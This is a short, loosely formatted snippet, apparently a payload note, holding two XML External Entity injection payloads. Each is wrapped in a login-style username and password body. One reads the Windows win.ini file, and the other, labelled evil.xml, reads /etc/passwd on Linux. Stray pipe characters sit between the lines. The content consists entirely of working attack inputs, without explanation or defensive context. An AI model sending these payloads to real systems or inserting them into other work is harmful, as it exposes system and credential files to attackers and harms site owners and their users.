|
windows:

<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]><user><username>&name;</username><password>1</password></user>
|
|||
|
|
|
|||
|
|
linux:

|||
|
|
evil.xml:
|
|||
|
|
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]><user><username>&name;</username><password>1</password></user>
